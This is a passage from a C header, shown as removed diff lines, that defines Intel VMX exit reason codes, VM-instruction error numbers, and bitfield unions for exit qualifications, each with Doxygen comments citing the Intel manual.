vmx_basic_exit_reasons \ - * VMX Basic Exit Reasons - * - * VMX Basic Exit Reasons. - * - * @see Vol3D[C(VMX BASIC EXIT REASONS)] (reference) - * @{ - */ - /** - * @brief Exception or non-maskable interrupt (NMI) - * - * Either: - * -# Guest software caused an exception and the bit in the exception bitmap associated with exception's vector was 1. This - * case includes executions of BOUND that cause \#BR, executions of INT1 (they cause \#DB), executions of INT3 (they cause - * \#BP), executions of INTO that cause \#OF, and executions of UD0, UD1, and UD2 (they cause \#UD). - * -# An NMI was delivered to the logical processor and the "NMI exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXCEPTION_OR_NMI 0x00000000 - - /** - * @brief External interrupt - * - * An external interrupt arrived and the "external-interrupt exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXTERNAL_INTERRUPT 0x00000001 - - /** - * @brief Triple fault - * - * The logical processor encountered an exception while attempting to call the double-fault handler and that exception did - * not itself cause a VM exit due to the exception bitmap. - */ -#define VMX_EXIT_REASON_TRIPLE_FAULT 0x00000002 - - /** - * @brief INIT signal - * - * An INIT signal arrived. - */ -#define VMX_EXIT_REASON_INIT_SIGNAL 0x00000003 - - /** - * @brief Start-up IPI (SIPI) - * - * A SIPI arrived while the logical processor was in the "wait-for-SIPI" state. - */ -#define VMX_EXIT_REASON_STARTUP_IPI 0x00000004 - - /** - * @brief I/O system-management interrupt (SMI) - * - * An SMI arrived immediately after retirement of an I/O instruction and caused an SMM VM exit. - * - * @see Vol3C[34.15.2(SMM VM Exits)] - */ -#define VMX_EXIT_REASON_IO_SMI 0x00000005 - - /** - * @brief Other SMI - * - * An SMI arrived and caused an SMM VM exit but not immediately after retirement of an I/O instruction. - * - * @see Vol3C[34.15.2(SMM VM Exits)] - */ -#define VMX_EXIT_REASON_SMI 0x00000006 - - /** - * @brief Interrupt window exiting - * - * At the beginning of an instruction, RFLAGS.IF was 1; events were not blocked by STI or by MOV SS; and the - * "interrupt-window exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_INTERRUPT_WINDOW 0x00000007 - - /** - * @brief NMI window exiting - * - * At the beginning of an instruction, there was no virtual-NMI blocking; events were not blocked by MOV SS; and the - * "NMI-window exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_NMI_WINDOW 0x00000008 - - /** - * @brief Task switch - * - * Guest software attempted a task switch. - */ -#define VMX_EXIT_REASON_TASK_SWITCH 0x00000009 - - /** - * @brief CPUID - * - * Guest software attempted to execute CPUID. - */ -#define VMX_EXIT_REASON_EXECUTE_CPUID 0x0000000A - - /** - * @brief GETSEC - * - * Guest software attempted to execute GETSEC. - */ -#define VMX_EXIT_REASON_EXECUTE_GETSEC 0x0000000B - - /** - * @brief HLT - * - * Guest software attempted to execute HLT and the "HLT exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_HLT 0x0000000C - - /** - * @brief INVD - * - * Guest software attempted to execute INVD. - */ -#define VMX_EXIT_REASON_EXECUTE_INVD 0x0000000D - - /** - * @brief INVLPG - * - * Guest software attempted to execute INVLPG and the "INVLPG exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_INVLPG 0x0000000E - - /** - * @brief RDPMC - * - * Guest software attempted to execute RDPMC and the "RDPMC exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDPMC 0x0000000F - - /** - * @brief RDTSC - * - * Guest software attempted to execute RDTSC and the "RDTSC exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDTSC 0x00000010 - - /** - * @brief RSM in SMM - * - * Guest software attempted to execute RSM in SMM. - */ -#define VMX_EXIT_REASON_EXECUTE_RSM_IN_SMM 0x00000011 - - /** - * @brief VMCALL - * - * VMCALL was executed either by guest software (causing an ordinary VM exit) or by the executive monitor (causing an SMM - * VM exit). - * - * @see Vol3C[34.15.2(SMM VM Exits)] - */ -#define VMX_EXIT_REASON_EXECUTE_VMCALL 0x00000012 - - /** - * @brief VMCLEAR - * - * Guest software attempted to execute VMCLEAR. - */ -#define VMX_EXIT_REASON_EXECUTE_VMCLEAR 0x00000013 - - /** - * @brief VMLAUNCH - * - * Guest software attempted to execute VMLAUNCH. - */ -#define VMX_EXIT_REASON_EXECUTE_VMLAUNCH 0x00000014 - - /** - * @brief VMPTRLD - * - * Guest software attempted to execute VMPTRLD. - */ -#define VMX_EXIT_REASON_EXECUTE_VMPTRLD 0x00000015 - - /** - * @brief VMPTRST - * - * Guest software attempted to execute VMPTRST. - */ -#define VMX_EXIT_REASON_EXECUTE_VMPTRST 0x00000016 - - /** - * @brief VMREAD - * - * Guest software attempted to execute VMREAD. - */ -#define VMX_EXIT_REASON_EXECUTE_VMREAD 0x00000017 - - /** - * @brief VMRESUME - * - * Guest software attempted to execute VMRESUME. - */ -#define VMX_EXIT_REASON_EXECUTE_VMRESUME 0x00000018 - - /** - * @brief VMWRITE - * - * Guest software attempted to execute VMWRITE. - */ -#define VMX_EXIT_REASON_EXECUTE_VMWRITE 0x00000019 - - /** - * @brief VMXOFF - * - * Guest software attempted to execute VMXOFF. - */ -#define VMX_EXIT_REASON_EXECUTE_VMXOFF 0x0000001A - - /** - * @brief VMXON - * - * Guest software attempted to execute VMXON. - */ -#define VMX_EXIT_REASON_EXECUTE_VMXON 0x0000001B - - /** - * @brief Control-register accesses - * - * Guest software attempted to access CR0, CR3, CR4, or CR8 using CLTS, LMSW, or MOV CR and the VM-execution control fields - * indicate that a VM exit should occur. This basic exit reason is not used for trap-like VM exits following executions of - * the MOV to CR8 instruction when the "use TPR shadow" VM-execution control is 1. Such VM exits instead use basic exit - * reason 43. - * - * @see Vol3C[25.1(INSTRUCTIONS THAT CAUSE VM EXITS)] - */ -#define VMX_EXIT_REASON_MOV_CR 0x0000001C - - /** - * @brief Debug-register accesses - * - * Guest software attempted a MOV to or from a debug register and the "MOV-DR exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_MOV_DR 0x0000001D - - /** - * @brief I/O instruction - * - * Guest software attempted to execute an I/O instruction and either: - * -# The "use I/O bitmaps" VM-execution control was 0 and the "unconditional I/O exiting" VM-execution control was 1. - * -# The "use I/O bitmaps" VM-execution control was 1 and a bit in the I/O bitmap associated with one of the ports - * accessed by the I/O instruction was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_IO_INSTRUCTION 0x0000001E - - /** - * @brief RDMSR - * - * Guest software attempted to execute RDMSR and either: - * -# The "use MSR bitmaps" VM-execution control was 0. - * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. - * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in read bitmap for low MSRs is 1, where n was - * the value of RCX. - * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in read bitmap for high MSRs is 1, where n is - * the value of RCX & 00001FFFH. - */ -#define VMX_EXIT_REASON_EXECUTE_RDMSR 0x0000001F - - /** - * @brief WRMSR - * - * Guest software attempted to execute WRMSR and either: - * -# The "use MSR bitmaps" VM-execution control was 0. - * -# The value of RCX is neither in the range 00000000H - 00001FFFH nor in the range C0000000H - C0001FFFH. - * -# The value of RCX was in the range 00000000H - 00001FFFH and the nth bit in write bitmap for low MSRs is 1, where n - * was the value of RCX. - * -# The value of RCX is in the range C0000000H - C0001FFFH and the nth bit in write bitmap for high MSRs is 1, where n is - * the value of RCX & 00001FFFH. - */ -#define VMX_EXIT_REASON_EXECUTE_WRMSR 0x00000020 - - /** - * @brief VM-entry failure due to invalid guest state - * - * A VM entry failed one of the checks identified in Section 26.3.1. - */ -#define VMX_EXIT_REASON_ERROR_INVALID_GUEST_STATE 0x00000021 - - /** - * @brief VM-entry failure due to MSR loading - * - * A VM entry failed in an attempt to load MSRs. See Section 26.4. - */ -#define VMX_EXIT_REASON_ERROR_MSR_LOAD 0x00000022 - - /** - * @brief Guest software executed MWAIT - * - * Guest software attempted to execute MWAIT and the "MWAIT exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_MWAIT 0x00000024 - - /** - * @brief VM-exit due to monitor trap flag - * - * A VM entry occurred due to the 1-setting of the "monitor trap flag" VM-execution control and injection of an MTF VM exit - * as part of VM entry. - * - * @see Vol3C[25.5.2(Monitor Trap Flag)] - */ -#define VMX_EXIT_REASON_MONITOR_TRAP_FLAG 0x00000025 - - /** - * @brief Guest software attempted to execute MONITOR - * - * Guest software attempted to execute MONITOR and the "MONITOR exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_MONITOR 0x00000027 - - /** - * @brief Guest software attempted to execute PAUSE - * - * Either guest software attempted to execute PAUSE and the "PAUSE exiting" VM-execution control was 1 or the "PAUSE-loop - * exiting" VM-execution control was 1 and guest software executed a PAUSE loop with execution time exceeding PLE_Window. - * - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ -#define VMX_EXIT_REASON_EXECUTE_PAUSE 0x00000028 - - /** - * @brief VM-entry failure due to machine-check - * - * A machine-check event occurred during VM entry. - * - * @see Vol3C[26.8(MACHINE-CHECK EVENTS DURING VM ENTRY)] - */ -#define VMX_EXIT_REASON_ERROR_MACHINE_CHECK 0x00000029 - - /** - * @brief TPR below threshold - * - * The logical processor determined that the value of bits 7:4 of the byte at offset 080H on the virtual-APIC page was - * below that of the TPR threshold VM-execution control field while the "use TPR shadow" VMexecution control was 1 either - * as part of TPR virtualization or VM entry. - * - * @see Vol3C[29.1.2(TPR Virtualization)] - * @see Vol3C[26.6.7(VM Exits Induced by the TPR Threshold)] - */ -#define VMX_EXIT_REASON_TPR_BELOW_THRESHOLD 0x0000002B - - /** - * @brief APIC access - * - * Guest software attempted to access memory at a physical address on the APIC-access page and the "virtualize APIC - * accesses" VM-execution control was 1. - * - * @see Vol3C[29.4(VIRTUALIZING MEMORY-MAPPED APIC ACCESSES)] - */ -#define VMX_EXIT_REASON_APIC_ACCESS 0x0000002C - - /** - * @brief Virtualized EOI - * - * EOI virtualization was performed for a virtual interrupt whose vector indexed a bit set in the EOIexit bitmap. - */ -#define VMX_EXIT_REASON_VIRTUALIZED_EOI 0x0000002D - - /** - * @brief Access to GDTR or IDTR - * - * Guest software attempted to execute LGDT, LIDT, SGDT, or SIDT and the "descriptor-table exiting" VM-execution control - * was 1. - */ -#define VMX_EXIT_REASON_GDTR_IDTR_ACCESS 0x0000002E - - /** - * @brief Access to LDTR or TR - * - * Guest software attempted to execute LLDT, LTR, SLDT, or STR and the "descriptor-table exiting" VM-execution control was - * 1. - */ -#define VMX_EXIT_REASON_LDTR_TR_ACCESS 0x0000002F - - /** - * @brief EPT violation - * - * An attempt to access memory with a guest-physical address was disallowed by the configuration of the EPT paging - * structures. - */ -#define VMX_EXIT_REASON_EPT_VIOLATION 0x00000030 - - /** - * @brief EPT misconfiguration - * - * An attempt to access memory with a guest-physical address encountered a misconfigured EPT paging-structure entry. - */ -#define VMX_EXIT_REASON_EPT_MISCONFIGURATION 0x00000031 - - /** - * @brief INVEPT - * - * Guest software attempted to execute INVEPT. - */ -#define VMX_EXIT_REASON_EXECUTE_INVEPT 0x00000032 - - /** - * @brief RDTSCP - * - * Guest software attempted to execute RDTSCP and the "enable RDTSCP" and "RDTSC exiting" VM-execution controls were both - * 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDTSCP 0x00000033 - - /** - * @brief VMX-preemption timer expired - * - * The preemption timer counted down to zero. - */ -#define VMX_EXIT_REASON_VMX_PREEMPTION_TIMER_EXPIRED 0x00000034 - - /** - * @brief INVVPID - * - * Guest software attempted to execute INVVPID. - */ -#define VMX_EXIT_REASON_EXECUTE_INVVPID 0x00000035 - - /** - * @brief WBINVD - * - * Guest software attempted to execute WBINVD and the "WBINVD exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_WBINVD 0x00000036 - - /** - * @brief XSETBV - Guest software attempted to execute XSETBV - * - * Guest software attempted to execute XSETBV. - */ -#define VMX_EXIT_REASON_EXECUTE_XSETBV 0x00000037 - - /** - * @brief APIC write - * - * Guest software completed a write to the virtual-APIC page that must be virtualized by VMM software. - * - * @see Vol3C[29.4.3.3(APIC-Write VM Exits)] - */ -#define VMX_EXIT_REASON_APIC_WRITE 0x00000038 - - /** - * @brief RDRAND - * - * Guest software attempted to execute RDRAND and the "RDRAND exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDRAND 0x00000039 - - /** - * @brief INVPCID - * - * Guest software attempted to execute INVPCID and the "enable INVPCID" and "INVLPG exiting" VM-execution controls were - * both 1. - */ -#define VMX_EXIT_REASON_EXECUTE_INVPCID 0x0000003A - - /** - * @brief VMFUNC - * - * Guest software invoked a VM function with the VMFUNC instruction and the VM function either was not enabled or generated - * a function-specific condition causing a VM exit. - */ -#define VMX_EXIT_REASON_EXECUTE_VMFUNC 0x0000003B - - /** - * @brief ENCLS - * - * Guest software attempted to execute ENCLS and "enable ENCLS exiting" VM-execution control was 1 and either: - * -# EAX < 63 and the corresponding bit in the ENCLS-exiting bitmap is 1; or - * -# EAX >= 63 and bit 63 in the ENCLS-exiting bitmap is 1. - */ -#define VMX_EXIT_REASON_EXECUTE_ENCLS 0x0000003C - - /** - * @brief RDSEED - * - * Guest software attempted to execute RDSEED and the "RDSEED exiting" VM-execution control was 1. - */ -#define VMX_EXIT_REASON_EXECUTE_RDSEED 0x0000003D - - /** - * @brief Page-modification log full - * - * The processor attempted to create a page-modification log entry and the value of the PML index was not in the range - * 0-511. - */ -#define VMX_EXIT_REASON_PAGE_MODIFICATION_LOG_FULL 0x0000003E - - /** - * @brief XSAVES - * - * Guest software attempted to execute XSAVES, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of - * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. - */ -#define VMX_EXIT_REASON_EXECUTE_XSAVES 0x0000003F - - /** - * @brief XRSTORS - * - * Guest software attempted to execute XRSTORS, the "enable XSAVES/XRSTORS" was 1, and a bit was set in the logical-AND of - * the following three values: EDX:EAX, the IA32_XSS MSR, and the XSS-exiting bitmap. - */ -#define VMX_EXIT_REASON_EXECUTE_XRSTORS 0x00000040 - /** - * @} - */ - - /** - * @defgroup vmx_instruction_error_numbers \ - * VM-Instruction Error Numbers - * - * VM-Instruction Error Numbers. - * - * @see Vol3C[30.4(VM INSTRUCTION ERROR NUMBERS)] (reference) - * @{ - */ - /** - * VMCALL executed in VMX root operation. - */ -#define VMX_ERROR_VMCALL_IN_VMX_ROOT_OPERATION 0x00000001 - - /** - * VMCLEAR with invalid physical address. - */ -#define VMX_ERROR_VMCLEAR_INVALID_PHYSICAL_ADDRESS 0x00000002 - - /** - * VMCLEAR with VMXON pointer. - */ -#define VMX_ERROR_VMCLEAR_INVALID_VMXON_POINTER 0x00000003 - - /** - * VMLAUNCH with non-clear VMCS. - */ -#define VMX_ERROR_VMLAUCH_NON_CLEAR_VMCS 0x00000004 - - /** - * VMRESUME with non-launched VMCS. - */ -#define VMX_ERROR_VMRESUME_NON_LAUNCHED_VMCS 0x00000005 - - /** - * VMRESUME after VMXOFF (VMXOFF and VMXON between VMLAUNCH and VMRESUME). - */ -#define VMX_ERROR_VMRESUME_AFTER_VMXOFF 0x00000006 - - /** - * VM entry with invalid control field(s). - */ -#define VMX_ERROR_VMENTRY_INVALID_CONTROL_FIELDS 0x00000007 - - /** - * VM entry with invalid host-state field(s). - */ -#define VMX_ERROR_VMENTRY_INVALID_HOST_STATE 0x00000008 - - /** - * VMPTRLD with invalid physical address. - */ -#define VMX_ERROR_VMPTRLD_INVALID_PHYSICAL_ADDRESS 0x00000009 - - /** - * VMPTRLD with VMXON pointer. - */ -#define VMX_ERROR_VMPTRLD_VMXON_POINTER 0x0000000A - - /** - * VMPTRLD with incorrect VMCS revision identifier. - */ -#define VMX_ERROR_VMPTRLD_INCORRECT_VMCS_REVISION_ID 0x0000000B - - /** - * VMREAD/VMWRITE from/to unsupported VMCS component. - */ -#define VMX_ERROR_VMREAD_VMWRITE_INVALID_COMPONENT 0x0000000C - - /** - * VMWRITE to read-only VMCS component. - */ -#define VMX_ERROR_VMWRITE_READONLY_COMPONENT 0x0000000D - - /** - * VMXON executed in VMX root operation. - */ -#define VMX_ERROR_VMXON_IN_VMX_ROOT_OP 0x0000000F - - /** - * VM entry with invalid executive-VMCS pointer. - */ -#define VMX_ERROR_VMENTRY_INVALID_VMCS_EXECUTIVE_POINTER 0x00000010 - - /** - * VM entry with non-launched executive VMCS. - */ -#define VMX_ERROR_VMENTRY_NON_LAUNCHED_EXECUTIVE_VMCS 0x00000011 - - /** - * VM entry with executive-VMCS pointer not VMXON pointer (when attempting to deactivate the dual-monitor treatment of SMIs - * and SMM). - */ -#define VMX_ERROR_VMENTRY_EXECUTIVE_VMCS_PTR 0x00000012 - - /** - * VMCALL with non-clear VMCS (when attempting to activate the dual-monitor treatment of SMIs and SMM). - */ -#define VMX_ERROR_VMCALL_NON_CLEAR_VMCS 0x00000013 - - /** - * VMCALL with invalid VM-exit control fields. - */ -#define VMX_ERROR_VMCALL_INVALID_VMEXIT_FIELDS 0x00000014 - - /** - * VMCALL with incorrect MSEG revision identifier (when attempting to activate the dual-monitor treatment of SMIs and SMM). - */ -#define VMX_ERROR_VMCALL_INVALID_MSEG_REVISION_ID 0x00000016 - - /** - * VMXOFF under dual-monitor treatment of SMIs and SMM. - */ -#define VMX_ERROR_VMXOFF_DUAL_MONITOR 0x00000017 - - /** - * VMCALL with invalid SMM-monitor features (when attempting to activate the dual-monitor treatment of SMIs and SMM). - */ -#define VMX_ERROR_VMCALL_INVALID_SMM_MONITOR 0x00000018 - - /** - * VM entry with invalid VM-execution control fields in executive VMCS (when attempting to return from SMM). - */ -#define VMX_ERROR_VMENTRY_INVALID_VM_EXECUTION_CONTROL 0x00000019 - - /** - * VM entry with events blocked by MOV SS. - */ -#define VMX_ERROR_VMENTRY_MOV_SS 0x0000001A - - /** - * Invalid operand to INVEPT/INVVPID. - */ -#define VMX_ERROR_INVEPT_INVVPID_INVALID_OPERAND 0x0000001C - /** - * @} - */ - - /** - * @defgroup vmx_exceptions \ - * Virtualization Exceptions - * - * Virtualization Exceptions. - * - * @see Vol3C[25.5.6(Virtualization Exceptions)] (reference) - * @{ - */ -typedef struct -{ - /** - * The 32-bit value that would have been saved into the VMCS as an exit reason had a VM exit occurred instead of the - * virtualization exception. For EPT violations, this value is 48 (00000030H). - */ - uint32_t reason; - - /** - * FFFFFFFFH - */ - uint32_t exception_mask; - - /** - * The 64-bit value that would have been saved into the VMCS as an exit qualification had a VM exit occurred instead of the - * virtualization exception. - */ - uint64_t exit; - - /** - * The 64-bit value that would have been saved into the VMCS as a guest-linear address had a VM exit occurred instead of - * the virtualization exception. - */ - uint64_t guest_linear_address; - - /** - * The 64-bit value that would have been saved into the VMCS as a guest-physical address had a VM exit occurred instead of - * the virtualization exception. - */ - uint64_t guest_physical_address; - - /** - * The current 16-bit value of the EPTP index VM-execution control. - * - * @see Vol3C[24.6.18(Controls for Virtualization Exceptions)] - * @see Vol3C[25.5.5.3(EPTP Switching)] - */ - uint16_t current_eptp_index; -} vmx_virtualization_exception_information; - -/** - * @} - */ - - /** - * @defgroup vmx_basic_exit_information \ - * Basic VM-Exit Information - * - * Basic VM-Exit Information. - * - * @see Vol3C[27.2.1(Basic VM-Exit Information)] (reference) - * @{ - */ - /** - * @brief Exit Qualification for Debug Exceptions - */ -typedef union -{ - struct - { - /** - * @brief B0 - B3 - * - * [Bits 3:0] When set, each of these bits indicates that the corresponding breakpoint condition was met. Any of these bits - * may be set even if its corresponding enabling bit in DR7 is not set. - */ - uint64_t breakpoint_condition : 4; -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_BIT 0 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_FLAG 0x0F -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) - uint64_t reserved1 : 9; - - /** - * @brief BD - * - * [Bit 13] When set, this bit indicates that the cause of the debug exception is "debug register access detected." - */ - uint64_t debug_register_access_detected : 1; -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) - - /** - * @brief BS - * - * [Bit 14] When set, this bit indicates that the cause of the debug exception is either the execution of a single - * instruction (if RFLAGS.TF = 1 and IA32_DEBUGCTL.BTF = 0) or a taken branch (if RFLAGS.TF = DEBUGCTL.BTF = 1). - */ - uint64_t single_instruction : 1; -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_BIT 14 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_FLAG 0x4000 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_DEBUG_EXCEPTION_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) - uint64_t reserved2 : 49; - }; - - uint64_t flags; -} vmx_exit_qualification_debug_exception; - -/** - * @brief Exit Qualification for Task Switch - */ -typedef union -{ - struct - { - /** - * [Bits 15:0] Selector of task-state segment (TSS) to which the guest attempted to switch. - */ - uint64_t selector : 16; -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_BIT 0 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_FLAG 0xFFFF -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR_MASK 0xFFFF -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SELECTOR(_) (((_) >> 0) & 0xFFFF) - uint64_t reserved1 : 14; - - /** - * [Bits 31:30] Source of task switch initiation. - */ - uint64_t source : 2; -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_BIT 30 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_FLAG 0xC0000000 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE_MASK 0x03 -#define VMX_EXIT_QUALIFICATION_TASK_SWITCH_SOURCE(_) (((_) >> 30) & 0x03) -#define VMX_EXIT_QUALIFICATION_TYPE_CALL_INSTRUCTION 0x00000000 -#define VMX_EXIT_QUALIFICATION_TYPE_IRET_INSTRUCTION 0x00000001 -#define VMX_EXIT_QUALIFICATION_TYPE_JMP_INSTRUCTION 0x00000002 -#define VMX_EXIT_QUALIFICATION_TYPE_TASK_GATE_IN_IDT 0x00000003 - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} vmx_exit_qualification_task_switch; - -/** - * @brief Exit Qualification for Control-Register Accesses - */ -typedef union -{ - struct - { - /** - * [Bits 3:0] Number of control register (0 for CLTS and LMSW). Bit 3 is always 0 on processors that do not support Intel - * 64 architecture as they do not support CR8. - */ - uint64_t control_register : 4; -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_BIT 0 -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_FLAG 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_CR_CONTROL_REGISTER(_) (((_) >> 0) & 0x0F) -#define VMX_EXIT_QUALIFICATION_REGISTER_CR0 0x00000000 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR2 0x00000002 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR3 0x00000003 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR4 0x00000004 -#define VMX_EXIT_QUALIFICATION_REGISTER_CR8 0x00000008 - - /** - * [Bits 5:4] Access type. - */ - uint64_t access_type : 2; -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_BIT 4 -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_FLAG 0x30 -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE_MASK 0x03 -#define VMX_EXIT_QUALIFICATION_MOV_CR_ACCESS_TYPE(_) (((_) >> 4) & 0x03) -#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_TO_CR 0x00000000 -#define VMX_EXIT_QUALIFICATION_ACCESS_MOV_FROM_CR 0x00000001 -#define VMX_EXIT_QUALIFICATION_ACCESS_CLTS 0x00000002 -#define VMX_EXIT_QUALIFICATION_ACCESS_LMSW 0x00000003 - - /** - * [Bit 6] LMSW operand type. For CLTS and MOV CR, cleared to 0. - */ - uint64_t lmsw_operand_type : 1; -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_BIT 6 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_FLAG 0x40 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_OPERAND_TYPE(_) (((_) >> 6) & 0x01) -#define VMX_EXIT_QUALIFICATION_LMSW_OP_REGISTER 0x00000000 -#define VMX_EXIT_QUALIFICATION_LMSW_OP_MEMORY 0x00000001 - uint64_t reserved1 : 1; - - /** - * [Bits 11:8] For MOV CR, the general-purpose register. - */ - uint64_t general_purpose_register : 4; -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_BIT 8 -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_CR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) -#define VMX_EXIT_QUALIFICATION_GENREG_RAX 0x00000000 -#define VMX_EXIT_QUALIFICATION_GENREG_RCX 0x00000001 -#define VMX_EXIT_QUALIFICATION_GENREG_RDX 0x00000002 -#define VMX_EXIT_QUALIFICATION_GENREG_RBX 0x00000003 -#define VMX_EXIT_QUALIFICATION_GENREG_RSP 0x00000004 -#define VMX_EXIT_QUALIFICATION_GENREG_RBP 0x00000005 -#define VMX_EXIT_QUALIFICATION_GENREG_RSI 0x00000006 -#define VMX_EXIT_QUALIFICATION_GENREG_RDI 0x00000007 -#define VMX_EXIT_QUALIFICATION_GENREG_R8 0x00000008 -#define VMX_EXIT_QUALIFICATION_GENREG_R9 0x00000009 -#define VMX_EXIT_QUALIFICATION_GENREG_R10 0x0000000A -#define VMX_EXIT_QUALIFICATION_GENREG_R11 0x0000000B -#define VMX_EXIT_QUALIFICATION_GENREG_R12 0x0000000C -#define VMX_EXIT_QUALIFICATION_GENREG_R13 0x0000000D -#define VMX_EXIT_QUALIFICATION_GENREG_R14 0x0000000E -#define VMX_EXIT_QUALIFICATION_GENREG_R15 0x0000000F - uint64_t reserved2 : 4; - - /** - * [Bits 31:16] For LMSW, the LMSW source data. For CLTS and MOV CR, cleared to 0. - */ - uint64_t lmsw_source_data : 16; -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_BIT 16 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_FLAG 0xFFFF0000 -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA_MASK 0xFFFF -#define VMX_EXIT_QUALIFICATION_MOV_CR_LMSW_SOURCE_DATA(_) (((_) >> 16) & 0xFFFF) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} vmx_exit_qualification_mov_cr; - -/** - * @brief Exit Qualification for MOV DR - */ -typedef union -{ - struct - { - /** - * [Bits 2:0] Number of debug register. - */ - uint64_t debug_register : 3; -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_BIT 0 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_FLAG 0x07 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER_MASK 0x07 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DEBUG_REGISTER(_) (((_) >> 0) & 0x07) -#define VMX_EXIT_QUALIFICATION_REGISTER_DR0 0x00000000 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR1 0x00000001 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR2 0x00000002 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR3 0x00000003 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR6 0x00000006 -#define VMX_EXIT_QUALIFICATION_REGISTER_DR7 0x00000007 - uint64_t reserved1 : 1; - - /** - * [Bit 4] Direction of access (0 = MOV to DR; 1 = MOV from DR). - */ - uint64_t direction_of_access : 1; -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_BIT 4 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_FLAG 0x10 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_MOV_DR_DIRECTION_OF_ACCESS(_) (((_) 